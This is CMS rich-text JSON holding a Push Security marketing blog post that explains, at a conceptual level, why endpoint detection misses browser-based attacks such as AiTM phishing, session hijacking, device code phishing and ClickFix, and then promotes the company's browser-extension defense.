it.",{"data":8617,"content":8618,"nodeType":866},{},[8619],{"data":8620,"marks":8621,"value":8622,"nodeType":865},{},[],"The numbers tell the story. PhaaS-driven account compromise surged 389% year-over-year according to eSentire. Fake CAPTCHA lures used in ClickFix attacks increased 563% in 2025, according to CrowdStrike, and ClickFix is now the most common initial access vector observed by Microsoft, accounting for 47% of attacks. ",{"data":8624,"content":8625,"nodeType":866},{},[8626],{"data":8627,"marks":8628,"value":8629,"nodeType":865},{},[],"We see it too; in a single 30-day proof-of-value deployment at a financial services organization, Push detected 6 ClickFix attacks and 10 AiTM phishing attempts that were invisible to the existing security stack.",{"data":8631,"content":8632,"nodeType":866},{},[8633],{"data":8634,"marks":8635,"value":8636,"nodeType":865},{},[],"These aren't niche techniques. They're the dominant playbook, and none of them need to touch the endpoint to succeed, or for an attacker to achieve their goals.",{"data":8638,"content":8639,"nodeType":1458},{},[8640],{"data":8641,"marks":8642,"value":261,"nodeType":865},{},[8643],{"type":961},{"data":8645,"content":8646,"nodeType":866},{},[8647,8650,8658],{"data":8648,"marks":8649,"value":21,"nodeType":865},{},[],{"data":8651,"content":8653,"nodeType":882},{"uri":8652},"https://pushsecurity.com/solution/stop-browser-based-attacks/adversary-in-the-middle-attacks",[8654],{"data":8655,"marks":8656,"value":8657,"nodeType":865},{},[],"AiTM phishing kits",{"data":8659,"marks":8660,"value":8661,"nodeType":865},{},[]," render a convincing login page inside the browser, proxy the authentication in real time, and lift the session token as it passes through. The user completes what feels like a normal login; the attacker gets a valid session. The OS saw a browser connecting to a website.",{"data":8663,"content":8664,"nodeType":1458},{},[8665],{"data":8666,"marks":8667,"value":571,"nodeType":865},{},[8668],{"type":961},{"data":8670,"content":8671,"nodeType":866},{},[8672,8675,8682],{"data":8673,"marks":8674,"value":21,"nodeType":865},{},[],{"data":8676,"content":8678,"nodeType":882},{"uri":8677},"https://pushsecurity.com/solution/stop-browser-based-attacks/session-hijacking",[8679],{"data":8680,"marks":8681,"value":571,"nodeType":865},{},[],{"data":8683,"marks":8684,"value":8685,"nodeType":865},{},[]," skips authentication entirely by targeting an existing session. By stealing and replaying a token acquired by an infostealer, or a malicious browser extension, they can import the session into their own browser and continue using it — there's no password prompt, no MFA challenge, no re-authentication. The session blends into normal browser activity and generates nothing an endpoint agent was built to catch.",{"data":8687,"content":8688,"nodeType":1458},{},[8689],{"data":8690,"marks":8691,"value":360,"nodeType":865},{},[8692],{"type":961},{"data":8694,"content":8695,"nodeType":866},{},[8696,8699,8705],{"data":8697,"marks":8698,"value":21,"nodeType":865},{},[],{"data":8700,"content":8701,"nodeType":882},{"uri":1384},[8702],{"data":8703,"marks":8704,"value":360,"nodeType":865},{},[],{"data":8706,"marks":8707,"value":8708,"nodeType":865},{},[]," is harder to spot, because the user authenticates on a legitimate identity provider page. The attacker initiates a device authorization flow and tricks the user into entering a code on the real Microsoft (or Google or GitHub) login page. The IdP issues a valid token. The phishing happened before the authentication page even loaded, and the session token goes straight to the attacker. Push has documented a 37x increase in device code phishing attacks this year, with 12+ unique kits now offering the technique.",{"data":8710,"content":8711,"nodeType":1458},{},[8712],{"data":8713,"marks":8714,"value":315,"nodeType":865},{},[8715],{"type":961},{"data":8717,"content":8718,"nodeType":866},{},[8719,8722,8729],{"data":8720,"marks":8721,"value":21,"nodeType":865},{},[],{"data":8723,"content":8725,"nodeType":882},{"uri":8724},"https://pushsecurity.com/solution/stop-browser-based-attacks/clickfix-fix-variants",[8726],{"data":8727,"marks":8728,"value":315,"nodeType":865},{},[],{"data":8730,"marks":8731,"value":8732,"nodeType":865},{},[]," takes a different approach: the lure tricks the user into copying a malicious payload to their clipboard and running it themselves, framed as a verification step or a fix for a page that won't load. It's social engineering dressed up as a CAPTCHA. Unlike the attacks above, ClickFix is a hybrid — the delivery and lure happen in the browser, but the payload executes on the endpoint. That split is important when we get to how the detection layers divide.",{"data":8734,"content":8735,"nodeType":866},{},[8736],{"data":8737,"marks":8738,"value":8739,"nodeType":865},{},[],"The attacks look different on the surface, but the design principle is the same: stay out of the OS, stay inside the browser, and stay invisible to every tool that's watching the endpoint.",{"data":8741,"content":8742,"nodeType":866},{},[8743,8747,8753,8757,8765],{"data":8744,"marks":8745,"value":8746,"nodeType":865},{},[],"Once access to an app is established via a compromised identity, attackers can also achieve their goals without touching the endpoint. Most of the time, this involves data theft and extortion, but adversaries like ",{"data":8748,"content":8749,"nodeType":882},{"uri":4236},[8750],{"data":8751,"marks":8752,"value":4241,"nodeType":865},{},[],{"data":8754,"marks":8755,"value":8756,"nodeType":865},{},[]," and ",{"data":8758,"content":8760,"nodeType":882},{"uri":8759},"https://pushsecurity.com/blog/scattered-lapsus-hunters/",[8761],{"data":8762,"marks":8763,"value":8764,"nodeType":865},{},[],"Scattered Spider",{"data":8766,"marks":8767,"value":8768,"nodeType":865},{},[]," are also experts in cloud-based disruption and destruction techniques — with no ransomware binary dropped to user endpoints for an EDR agent to intercept. ",{"data":8770,"content":8774,"nodeType":925},{"target":8771},{"sys":8772},{"id":8773,"type":922,"linkType":923},"4eZcjfuT34oQoKIZAsZCr4",[],{"data":8776,"content":8777,"nodeType":953},{},[],{"data":8779,"content":8780,"nodeType":963},{},[8781],{"data":8782,"marks":8783,"value":8785,"nodeType":865},{},[8784],{"type":961},"The EDR you're using doesn't change the result",{"data":8787,"content":8788,"nodeType":866},{},[8789],{"data":8790,"marks":8791,"value":8792,"nodeType":865},{},[],"The constraint isn't vendor-specific. Every EDR's observation model stops at the OS layer because that's where the agent sits. What happens inside a browser session is outside that model by design. A better EDR doesn't close the gap; a different layer does.",{"data":8794,"content":8795,"nodeType":1458},{},[8796],{"data":8797,"marks":8798,"value":8800,"nodeType":865},{},[8799],{"type":961},"Reputation-based filtering falls short too",{"data":8802,"content":8803,"nodeType":866},{},[8804,8808,8815,8819,8827],{"data":8805,"marks":8806,"value":8807,"nodeType":865},{},[],"Some platforms add URL filtering or domain reputation checks at the browser boundary, and that narrows the surface somewhat. But reputation-based filtering hits the same wall against PhaaS infrastructure engineered to rotate domains before reputation databases catch up. ",{"data":8809,"content":8810,"nodeType":882},{"uri":4011},[8811],{"data":8812,"marks":8813,"value":8814,"nodeType":865},{},[],"89% of phishing domains are active for fewer than two days",{"data":8816,"marks":8817,"value":8818,"nodeType":865},{},[],". A reputation engine can't flag infrastructure it hasn't seen, and ",{"data":8820,"content":8822,"nodeType":882},{"uri":8821},"https://pushsecurity.com/blog/phishing-detection-evasion-launch/",[8823],{"data":8824,"marks":8825,"value":8826,"nodeType":865},{},[],"modern phishing operations",{"data":8828,"marks":8829,"value":8830,"nodeType":865},{},[]," are designed around that window.",{"data":8832,"content":8833,"nodeType":1458},{},[8834],{"data":8835,"marks":8836,"value":8838,"nodeType":865},{},[8837],{"type":961},"Some vendors recognize the problem",{"data":8840,"content":8841,"nodeType":866},{},[8842],{"data":8843,"marks":8844,"value":8845,"nodeType":865},{},[],"The market has started to acknowledge this. CrowdStrike's acquisition of Seraphic is a direct signal that endpoint vendors see the browser gap and want to close it, and it validates what we've been building here at Push since day one. That's a good thing for defenders — the more coverage at this layer, the better.",{"data":8847,"content":8848,"nodeType":866},{},[8849],{"data":8850,"marks":8851,"value":8852,"nodeType":865},{},[],"But endpoint vendors see the world through the endpoint. Their platforms, their telemetry models, and their detection logic are all structured around what happens at the OS layer. When they acquire browser capability, it gets pulled into that orbit. Seraphic was built to detect browser exploits by injecting into the browser's JavaScript runtime from the OS. ",{"data":8854,"content":8855,"nodeType":1458},{},[8856],{"data":8857,"marks":8858,"value":8860,"nodeType":865},{},[8859],{"type":961},"Attacks in vs. on the browser: why this distinction matters",{"data":8862,"content":8863,"nodeType":866},{},[8864,8868,8876,8880,8885,8889,8897],{"data":8865,"marks":8866,"value":8867,"nodeType":865},{},[],"In other words, ",{"data":8869,"content":8871,"nodeType":882},{"uri":8870},"https://pushsecurity.com/blog/how-to-avoid-the-browser-security-buyers-trap/",[8872],{"data":8873,"marks":8874,"value":8875,"nodeType":865},{},[],"their focus is on attacks on the browser itself",{"data":8877,"marks":8878,"value":8879,"nodeType":865},{},[],", rather than those happening ",{"data":8881,"marks":8882,"value":8884,"nodeType":865},{},[8883],{"type":944},"inside",{"data":8886,"marks":8887,"value":8888,"nodeType":865},{},[]," the browser session. That's a meaningful capability, but it's a different problem from detecting the identity attacks that dominate the threat landscape today — AiTM phishing, session hijacking, OAuth consent abuse, ClickFix — where the attacker never triggers an exploit and the browser works exactly as designed. We've written in detail aboutwhy that ",{"data":8890,"content":8891,"nodeType":882},{"uri":8870},[8892],{"data":8893,"marks":8894,"value":8896,"nodeType":865},{},[8895],{"type":997},"architectural distinction matters",{"data":8898,"marks":8899,"value":8900,"nodeType":865},{},[]," for buyers evaluating the category.",{"data":8902,"content":8906,"nodeType":925},{"target":8903},{"sys":8904},{"id":8905,"type":922,"linkType":923},"37815BxUTO55avL4molrA5",[],{"data":8908,"content":8909,"nodeType":953},{},[],{"data":8911,"content":8912,"nodeType":963},{},[8913],{"data":8914,"marks":8915,"value":8917,"nodeType":865},{},[8916],{"type":961},"What browser-native detection actually looks like",{"data":8919,"content":8920,"nodeType":866},{},[8921],{"data":8922,"marks":8923,"value":8924,"nodeType":865},{},[],"Network tools and reputation engines see where a user went and whether the destination had a known-bad reputation. What they can't see is what happened on the page once the user got there — whether the login form was real or a proxied clone, whether a session token was issued and where it went next.",{"data":8926,"content":8927,"nodeType":1458},{},[8928],{"data":8929,"marks":8930,"value":8932,"nodeType":865},{},[8931],{"type":961},"Why network-layer detection can't keep up",{"data":8934,"content":8935,"nodeType":866},{},[8936],{"data":8937,"marks":8938,"value":8939,"nodeType":865},{},[],"At the network layer, a brand-new domain hosting a pixel-perfect Microsoft login page is indistinguishable from the real thing. There's no signal to act on — the domain is in good standing, the TLS cert is valid, and the traffic looks normal.",{"data":8941,"content":8942,"nodeType":866},{},[8943],{"data":8944,"marks":8945,"value":8946,"nodeType":865},{},[],"But it's not as simple as looking at the page itself. The phishing pages attackers are building now don't look like the clone-and-paste jobs of a few years ago. Attackers are vibe-coding imitations where the AI has constructed the page from scratch — visually identical to the real login page, but with a completely different underlying structure. They look the same to the user and to any tool doing a surface-level comparison. You need to understand how credential-harvesting mechanics actually work, how authentication relay is structured, and what behavioral fingerprints phishing kits leave behind regardless of how the page was built.",{"data":8948,"content":8949,"nodeType":1458},{},[8950],{"data":8951,"marks":8952,"value":8954,"nodeType":865},{},[8953],{"type":961},"How Push detects what others miss",{"data":8956,"content":8957,"nodeType":866},{},[8958],{"data":8959,"marks":8960,"value":8961,"nodeType":865},{},[],"That's where Push's visibility and expertise intersect. Running inside the browser, Push sees DOM structure, script behavior, how credential forms are constructed, and how authentication is being relayed. Phishing attacks leave consistent behavioral fingerprints at this level regardless of what domain they're hosted on, which kit family they belong to, or whether the page was hand-coded or vibe-coded in minutes. Push catches attacks built on infrastructure that's never appeared on any blocklist, because it isn't looking at the infrastructure. It's looking at what the page is doing.",{"data":8963,"content":8964,"nodeType":1458},{},[8965],{"data":8966,"marks":8967,"value":8969,"nodeType":865},{},[8968],{"type":961},"Where the detection layers divide",{"data":8971,"content":8972,"nodeType":866},{},[8973],{"data":8974,"marks":8975,"value":8976,"nodeType":865},{},[],"ClickFix illustrates how the layers split. Push identifies the page behavior delivering the lure and analyzes the clipboard payload before the user runs it — two detection points, both inside the browser, both before anything reaches the endpoint. EDR's window opens after execution. Push and EDR are watching the same attack from opposite ends of the kill chain.",{"data":8978,"content":8979,"nodeType":1458},{},[8980],{"data":8981,"marks":8982,"value":8984,"nodeType":865},{},[8983],{"type":961},"Keeping pace with AI-accelerated attacks",{"data":8986,"content":8987,"nodeType":866},{},[8988],{"data":8989,"marks":8990,"value":8991,"nodeType":865},{},[],"That detection model has to keep pace with an attack surface that's evolving at machine speed. Attackers are using AI to vibe-code phishing kits, generate convincing cloned pages, and rotate infrastructure faster than any human team can track.",{"data":8993,"content":8994,"nodeType":866},{},[8995,8999,9006,9010,9015],{"data":8996,"marks":8997,"value":8998,"nodeType":865},{},[],"Push matches that pace with an ",{"data":9000,"content":9001,"nodeType":882},{"uri":3643},[9002],{"data":9003,"marks":9004,"value":9005,"nodeType":865},{},[],"agentic threat hunting pipeline",{"data":9007,"marks":9008,"value":9009,"nodeType":865},{},[],": autonomous agents hunt continuously across browser telemetry from over ",{"data":9011,"marks":9012,"value":9014,"nodeType":865},{},[9013],{"type":961},"3 million browsers worldwide",{"data":9016,"marks":9017,"value":9018,"nodeType":865},{},[],", develop hypotheses, analyze traces, and write detection rules without waiting for human initiation. Push's in-house threat researchers feed the agents the context they need — years of accumulated knowledge about how browser-based attacks actually work. The agents operationalize that expertise at a scale and speed no human team could sustain alone.",{"data":9020,"content":9024,"nodeType":925},{"target":9021},{"sys":9022},{"id":9023,"type":922,"linkType":923},"27crXZtdoKOl08wDzLFnBO",[],{"data":9026,"content":9027,"nodeType":953},{},[],{"data":9029,"content":9030,"nodeType":963},{},[9031],{"data":9032,"marks":9033,"value":9035,"nodeType":865},{},[9034],{"type":961},"Two layers that fit together",{"data":9037,"content":9038,"nodeType":866},{},[9039],{"data":9040,"marks":9041,"value":9042,"nodeType":865},{},[],"Browser detection and endpoint detection cover different surfaces. Together they close the gap.",{"data":9044,"content":9045,"nodeType":1458},{},[9046],{"data":9047,"marks":9048,"value":9050,"nodeType":865},{},[9049],{"type":961},"Response at the speed of the attack",{"data":9052,"content":9053,"nodeType":866},{},[9054],{"data":9055,"marks":9056,"value":9057,"nodeType":865},{},[],"Push doesn't just detect — the detection comes with response built in. Phishing pages are blocked before credentials are submitted. Malicious clipboard payloads are intercepted before the user can run them. Suspicious OAuth consent grants are flagged or blocked in real time, before the authorization completes. These aren't after-the-fact alerts that require an analyst to act; they're inline controls that operate at the speed of the attack.",{"data":9059,"content":9060,"nodeType":866},{},[9061],{"data":9062,"marks":9063,"value":9064,"nodeType":865},{},[],"For purely browser-based attacks like AiTM phishing, device code phishing, and OAuth consent abuse, Push is both the detection and the response layer. For ClickFix, the coverage divides: Push catches the delivery and the clipboard payload, and if the user runs it and something lands on the OS, EDR picks up what happens next.",{"data":9066,"content":9067,"nodeType":1458},{},[9068],{"data":9069,"marks":9070,"value":9072,"nodeType":865},{},[9071],{"type":961},"The telemetry bridge",{"data":9074,"content":9075,"nodeType":866},{},[9076],{"data":9077,"marks":9078,"value":9079,"nodeType":865},{},[],"The integration with endpoint tooling is straightforward. Push feeds browser telemetry into the same SIEM and XDR workflows endpoint data already flows into.",{"data":9081,"content":9082,"nodeType":866},{},[9083],{"data":9084,"marks":9085,"value":9086,"nodeType":865},{},[],"EDR tells you what happened on the host. Push tells you what happened in the session before the host was involved — which login page loaded, how it behaved, whether a session token left the organization. That's the causal link most investigation timelines are missing: the bridge between \"a user visited a URL\" and \"credentials were submitted to a phishing page that proxied authentication and captured the session token.\"",{"data":9088,"content":9089,"nodeType":866},{},[9090],{"data":9091,"marks":9092,"value":9093,"nodeType":865},{},[],"Without browser-layer telemetry, that chain of events is invisible — the EDR sees normal endpoint processes and the SIEM sees a successful login. An alert from either layer is more useful with context from the other, and the range of problems you can solve from inside the browser extends well beyond threat detection.",{"data":9095,"content":9096,"nodeType":1458},{},[9097],{"data":9098,"marks":9099,"value":9101,"nodeType":865},{},[9100],{"type":961},"Deployment without disruption",{"data":9103,"content":9104,"nodeType":866},{},[9105],{"data":9106,"marks":9107,"value":9108,"nodeType":865},{},[],"Operationally, adding the browser layer doesn't mean adding complexity. Push deploys as a browser extension — no network changes, no TLS inspection, no browser replacement, and no impact on page load times or browsing performance.",{"data":9110,"content":9111,"nodeType":866},{},[9112],{"data":9113,"marks":9114,"value":9115,"nodeType":865},{},[],"Unlike approaches that route traffic through a proxy or render pages remotely, Push operates natively inside the browser session, which means there's no latency penalty and no disruption to how employees work. ",{"data":9117,"content":9121,"nodeType":925},{"target":9118},{"sys":9119},{"id":9120,"type":922,"linkType":923},"3w1g0UvGN28HBOTxeZlIfc",[],{"data":9123,"content":9124,"nodeType":953},{},[],{"data":9126,"content":9127,"nodeType":963},{},[9128],{"data":9129,"marks":9130,"value":9132,"nodeType":865},{},[9131],{"type":961},"A quick check on your coverage",{"data":9134,"content":9135,"nodeType":866},{},[9136],{"data":9137,"marks":9138,"value":9139,"nodeType":865},{},[],"If you're running EDR and assume the browser is covered, these are worth thinking through. ",{"data":9141,"content":9142,"nodeType":1049},{},[9143,9164,9186,9196],{"data":9144,"content":9145,"nodeType":1003},{},[9146],{"data":9147,"content":9148,"nodeType":866},{},[9149,9153,9160],{"data":9150,"marks":9151,"value":9152,"nodeType":865},{},[],"Can you identify which browser extensions across your fleet have the ",{"data":9154,"content":9155,"nodeType":882},{"uri":4136},[9156],{"data":9157,"marks":9158,"value":9159,"nodeType":865},{},[],"permissions needed for account takeover",{"data":9161,"marks":9162,"value":9163,"nodeType":865},{},[],"? ",{"data":9165,"content":9166,"nodeType":1003},{},[9167],{"data":9168,"content":9169,"nodeType":866},{},[9170,9174,9182],{"data":9171,"marks":9172,"value":9173,"nodeType":865},{},[],"Would anything stop a ",{"data":9175,"content":9177,"nodeType":882},{"uri":9176},"https://pushsecurity.com/blog/introducing-malicious-copy-paste-detection/",[9178],{"data":9179,"marks":9180,"value":9181,"nodeType":865},{},[],"ClickFix payload",{"data":9183,"marks":9184,"value":9185,"nodeType":865},{},[]," before your user ran it? ",{"data":9187,"content":9188,"nodeType":1003},{},[9189],{"data":9190,"content":9191,"nodeType":866},{},[9192],{"data":9193,"marks":9194,"value":9195,"nodeType":865},{},[],"Do you have visibility into every account your employees have created outside of SSO, and whether those accounts are protected by MFA or using weak, breached, or reused passwords? ",{"data":9197,"content":9198,"nodeType":1003},{},[9199],{"data":9200,"content":9201,"nodeType":866},{},[9202],{"data":9203,"marks":9204,"value":9205,"nodeType":865},{},[],"When a session token gets stolen, do you have any signal when the attacker starts using it?",{"data":9207,"content":9208,"nodeType":866},{},[9209],{"data":9210,"marks":9211,"value":9213,"nodeType":865},{},[9212],{"type":961},"Push surfaces answers to all of them — across every browser session.",{"data":9215,"content":9216,"nodeType":866},{},[9217,9221,9229],{"data":9218,"marks":9219,"value":9220,"nodeType":865},{},[],"Defenders secured the endpoint. Attackers took note, and they've had the browser to themselves ever since. The attacker tooling that followed was built for an environment where the endpoint is watched and the session layer isn't. That's been a reasonable assumption for the better part of a decade. Endpoint vendors are starting to move toward the browser, but there's a case for ",{"data":9222,"content":9223,"nodeType":882},{"uri":5455},[9224],{"data":9225,"marks":9226,"value":9228,"nodeType":865},{},[9227],{"type":997},"purpose-built browser security",{"data":9230,"marks":9231,"value":9232,"nodeType":865},{},[]," rather than bolted-on features from platforms designed for a different layer. The endpoint is covered. The browser is where the work is now.",{"data":9234,"content":9235,"nodeType":953},{},[],{"data":9237,"content":9238,"nodeType":866},{},[9239,9242,9250],{"data":9240,"marks":9241,"value":5006,"nodeType":865},{},[],{"data":9243,"content":9245,"nodeType":882},{"uri":9244},"https://pushsecurity.com/book-demo/",[9246],{"data":9247,"marks":9248,"value":9249,"nodeType":865},{},[],"Book a live demo to learn more",{"data":9251,"marks":9252,"value":1048,"nodeType":865},{},[],{"entries":9254},{"hyperlink":9255,"inline":9256,"block":9257},[],[],[9258,9265,9268,9288,9314],{"sys":9259,"__typename":1747,"title":9260,"caption":9261,"layoutMode":59,"file":9262},{"id":8570},"Pyramid of Pain for internet-based attacks","The Pyramid of Pain reworked for internet-based attacks.",{"url":9263,"width":1759,"height":9264},"https://images.ctfassets.net/y1cdw1ablpvd/2KJMvUn55yStIIB5jIcy0n/c64a1d128567ed1189821b8160f81fe7/image6.png",1149,{"sys":9266,"__typename":5631,"type":5632,"ctaText":9267,"buttonLabel":5634,"buttonColour":5635,"buttonUrl":5636},{"id":8773},"Read our browser attack techniques report for more information on these attack techniques and how attackers are leveraging them in browser-native breaches that don't touch the endpoint detection surface.",{"sys":9269,"__typename":9270,"content":9271,"name":9287,"title":59},{"id":8905},"InsightTextBlockComponent",{"json":9272},{"nodeType":1739,"data":9273,"content":9274},{},[9275],{"nodeType":866,"data":9276,"content":9277},{},[9278,9282],{"nodeType":865,"value":9279,"marks":9280,"data":9281},"Push was built for the browser from the start, for exactly these attacks. The detection engine runs inside the session. The response actions operate at the session layer, blocking phishing pages, intercepting malicious clipboard payloads, and warning on suspicious OAuth consent grants, because that's where the attack is happening. ",[],{},{"nodeType":865,"value":9283,"marks":9284,"data":9286},"That's not a philosophical matter. It determines what you can catch and how fast you can stop it.",[9285],{"type":961},{},"EDR blog IB1",{"sys":9289,"__typename":9270,"content":9290,"name":9313,"title":59},{"id":9023},{"json":9291},{"nodeType":1739,"data":9292,"content":9293},{},[9294],{"nodeType":866,"data":9295,"content":9296},{},[9297,9301,9309],{"nodeType":865,"value":9298,"marks":9299,"data":9300},"Since deploying the pipeline, we've 3x'ed our detection output (but with ",[],{},{"nodeType":882,"data":9302,"content":9304},{"uri":9303},"https://pushsecurity.com/blog/the-pyramid-of-pain-in-the-ai-era/",[9305],{"nodeType":865,"value":9306,"marks":9307,"data":9308},"broad technique-level detections, not just IoC noise",[],{},{"nodeType":865,"value":9310,"marks":9311,"data":9312},"). New detections move from discovery to customer protection in minutes rather than the days or weeks a manual process required.",[],{},"EDR blog IB2",{"sys":9315,"__typename":9270,"content":9316,"name":9327,"title":59},{"id":9120},{"json":9317},{"nodeType":1739,"data":9318,"content":9319},{},[9320],{"nodeType":866,"data":9321,"content":9322},{},[9323],{"nodeType":865,"value":9324,"marks":9325,"data":9326},"Push has been deployed to 100,000 users in under an hour during normal business hours with zero downtime, and it sits alongside whatever endpoint and network tooling is already in place.",[],{},"EDR blog IB3",{"items":9329},[],{},"How attackers get around endpoint security controls like EDR",{"items":9333},[9334,10134,10659],{"__typename":1788,"sys":9335,"content":9336,"title":3762,"synopsis":3763,"hashTags":59,"publishedDate":2818,"slug":3764,"tagsCollection":10124,"authorsCollection":10130},{"id":2839},{"json":9337},{"data":9338,"content":9339,"nodeType":1739},{},[9340,9346,9352,9369,9375,9381,9384,9391,9397,9403,9424,9430,9436,9441,9444,9451,9457,9462,9468,9475,9501,9516,9521,9528,9534,9539,9555,9562,9568,9593,9598,9611,9614,9621,9627,9632,9646,9652,9658,9668,9684,9690,9696,9703,9709,9725,9730,9736,9741,9746,9749,9756,9762,9768,9823,9829,9835,9841,9847,9860,9866,9872,9878,9884,9890,9896,9902,9908,9914,9920,9926,9932,9938,9941,9948,9954,9964,9970,9976,9982,9988,10094,10100,10105,10108],{"data":9341,"content":9342,"nodeType":866},{},[9343],{"data":9344,"marks":9345,"value":2850,"nodeType":865},{},[],{"data":9347,"content":9348,"nodeType":866},{},[9349],{"data":9350,"marks":9351,"value":2857,"nodeType":865},{},[],{"data":9353,"content":9354,"nodeType":866},{},[9355,9359,9362,9366],{"data":9356,"marks":9357,"value":2865,"nodeType":865},{},[9358],{"type":961},{"data":9360,"marks":9361,"value":2869,"nodeType":865},{},[],{"data":9363,"marks":9364,"value":2874,"nodeType":865},{},[9365],{"type":944},{"data":9367,"marks":9368,"value":2878,"nodeType":865},{},[],{"data":9370,"content":9371,"nodeType":866},{},[9372],{"data":9373,"marks":9374,"value":2885,"nodeType":865},{},[],{"data":9376,"content":9377,"nodeType":866},{},[9378],{"data":9379,"marks":9380,"value":2892,"nodeType":865},{},[],{"data":9382,"content":9383,"nodeType":953},{},[],{"data":9385,"content":9386,"nodeType":963},{},[9387],{"data":9388,"marks":9389,"value":2903,"nodeType":865},{},[9390],{"type":961},{"data":9392,"content":9393,"nodeType":866},{},[9394],{"data":9395,"marks":9396,"value":2910,"nodeType":865},{},[],{"data":9398,"content":9399,"nodeType":866},{},[9400],{"data":9401,"marks":9402,"value":2917,"nodeType":865},{},[],{"data":9404,"content":9405,"nodeType":1049},{},[9406,9415],{"data":9407,"content":9408,"nodeType":1003},{},[9409],{"data":9410,"content":9411,"nodeType":866},{},[9412],{"data":9413,"marks":9414,"value":2930,"nodeType":865},{},[],{"data":9416,"content":9417,"nodeType":1003},{},[9418],{"data":9419,"content":9420,"nodeType":866},{},[9421],{"data":9422,"marks":9423,"value":2940,"nodeType":865},{},[],{"data":9425,"content":9426,"nodeType":866},{},[9427],{"data":9428,"marks":9429,"value":2947,"nodeType":865},{},[],{"data":9431,"content":9432,"nodeType":866},{},[9433],{"data":9434,"marks":9435,"value":2954,"nodeType":865},{},[],{"data":9437,"content":9440,"nodeType":925},{"target":9438},{"sys":9439},{"id":2959,"type":922,"linkType":923},[],{"data":9442,"content":9443,"nodeType":953},{},[],{"data":9445,"content":9446,"nodeType":963},{},[9447],{"data":9448,"marks":9449,"value":2971,"nodeType":865},{},[9450],{"type":961},{"data":9452,"content":9453,"nodeType":866},{},[9454],{"data":9455,"marks":9456,"value":2978,"nodeType":865},{},[],{"data":9458,"content":9461,"nodeType":925},{"target":9459},{"sys":9460},{"id":2983,"type":922,"linkType":923},[],{"data":9463,"content":9464,"nodeType":866},{},[9465],{"data":9466,"marks":9467,"value":2991,"nodeType":865},{},[],{"data":9469,"content":9470,"nodeType":1458},{},[9471],{"data":9472,"marks":9473,"value":2999,"nodeType":865},{},[9474],{"type":961},{"data":9476,"content":9477,"nodeType":866},{},[9478,9481,9488,9491,9498],{"data":9479,"marks":9480,"value":3006,"nodeType":865},{},[],{"data":9482,"content":9483,"nodeType":882},{"uri":3009},[9484],{"data":9485,"marks":9486,"value":3015,"nodeType":865},{},[9487],{"type":997},{"data":9489,"marks":9490,"value":3019,"nodeType":865},{},[],{"data":9492,"content":9493,"nodeType":882},{"uri":1384},[9494],{"data":9495,"marks":9496,"value":3027,"nodeType":865},{},[9497],{"type":997},{"data":9499,"marks":9500,"value":3031,"nodeType":865},{},[],{"data":9502,"content":9503,"nodeType":866},{},[9504,9507,9513],{"data":9505,"marks":9506,"value":3038,"nodeType":865},{},[],{"data":9508,"content":9509,"nodeType":882},{"uri":3041},[9510],{"data":9511,"marks":9512,"value":3046,"nodeType":865},{},[],{"data":9514,"marks":9515,"value":3050,"nodeType":865},{},[],{"data":9517,"content":9520,"nodeType":925},{"target":9518},{"sys":9519},{"id":3055,"type":922,"linkType":923},[],{"data":9522,"content":9523,"nodeType":1458},{},[9524],{"data":9525,"marks":9526,"value":3064,"nodeType":865},{},[9527],{"type":961},{"data":9529,"content":9530,"nodeType":866},{},[9531],{"data":9532,"marks":9533,"value":3071,"nodeType":865},{},[],{"data":9535,"content":9538,"nodeType":925},{"target":9536},{"sys":9537},{"id":3076,"type":922,"linkType":923},[],{"data":9540,"content":9541,"nodeType":866},{},[9542,9545,9552],{"data":9543,"marks":9544,"value":3084,"nodeType":865},{},[],{"data":9546,"content":9547,"nodeType":882},{"uri":3087},[9548],{"data":9549,"marks":9550,"value":3093,"nodeType":865},{},[9551],{"type":997},{"data":9553,"marks":9554,"value":3097,"nodeType":865},{},[],{"data":9556,"content":9557,"nodeType":1458},{},[9558],{"data":9559,"marks":9560,"value":3105,"nodeType":865},{},[9561],{"type":961},{"data":9563,"content":9564,"nodeType":866},{},[9565],{"data":9566,"marks":9567,"value":3112,"nodeType":865},{},[],{"data":9569,"content":9570,"nodeType":866},{},[9571,9574,9581,9584,9590],{"data":9572,"marks":9573,"value":3119,"nodeType":865},{},[],{"data":9575,"content":9576,"nodeType":882},{"uri":3122},[9577],{"data":9578,"marks":9579,"value":3128,"nodeType":865},{},[9580],{"type":997},{"data":9582,"marks":9583,"value":3132,"nodeType":865},{},[],{"data":9585,"content":9586,"nodeType":882},{"uri":3135},[9587],{"data":9588,"marks":9589,"value":3140,"nodeType":865},{},[],{"data":9591,"marks":9592,"value":3144,"nodeType":865},{},[],{"data":9594,"content":9597,"nodeType":925},{"target":9595},{"sys":9596},{"id":3149,"type":922,"linkType":923},[],{"data":9599,"content":9600,"nodeType":866},{},[9601,9604,9608],{"data":9602,"marks":9603,"value":3157,"nodeType":865},{},[],{"data":9605,"marks":9606,"value":3162,"nodeType":865},{},[9607],{"type":961},{"data":9609,"marks":9610,"value":1048,"nodeType":865},{},[],{"data":9612,"content":9613,"nodeType":953},{},[],{"data":9615,"content":9616,"nodeType":963},{},[9617],{"data":9618,"marks":9619,"value":3176,"nodeType":865},{},[9620],{"type":961},{"data":9622,"content":9623,"nodeType":866},{},[9624],{"data":9625,"marks":9626,"value":3183,"nodeType":865},{},[],{"data":9628,"content":9631,"nodeType":925},{"target":9629},{"sys":9630},{"id":921,"type":922,"linkType":923},[],{"data":9633,"content":9634,"nodeType":1458},{},[9635,9639,9642],{"data":9636,"marks":9637,"value":3196,"nodeType":865},{},[9638],{"type":961},{"data":9640,"marks":9641,"value":2157,"nodeType":865},{},[],{"data":9643,"marks":9644,"value":3204,"nodeType":865},{},[9645],{"type":961},{"data":9647,"content":9648,"nodeType":866},{},[9649],{"data":9650,"marks":9651,"value":3211,"nodeType":865},{},[],{"data":9653,"content":9654,"nodeType":866},{},[9655],{"data":9656,"marks":9657,"value":3218,"nodeType":865},{},[],{"data":9659,"content":9660,"nodeType":1458},{},[9661,9665],{"data":9662,"marks":9663,"value":3226,"nodeType":865},{},[9664],{"type":961},{"data":9666,"marks":9667,"value":3230,"nodeType":865},{},[],{"data":9669,"content":9670,"nodeType":866},{},[9671,9674,9681],{"data":9672,"marks":9673,"value":3237,"nodeType":865},{},[],{"data":9675,"content":9676,"nodeType":882},{"uri":3240},[9677],{"data":9678,"marks":9679,"value":3246,"nodeType":865},{},[9680],{"type":997},{"data":9682,"marks":9683,"value":3250,"nodeType":865},{},[],{"data":9685,"content":9686,"nodeType":866},{},[9687],{"data":9688,"marks":9689,"value":3257,"nodeType":865},{},[],{"data":9691,"content":9692,"nodeType":866},{},[9693],{"data":9694,"marks":9695,"value":3264,"n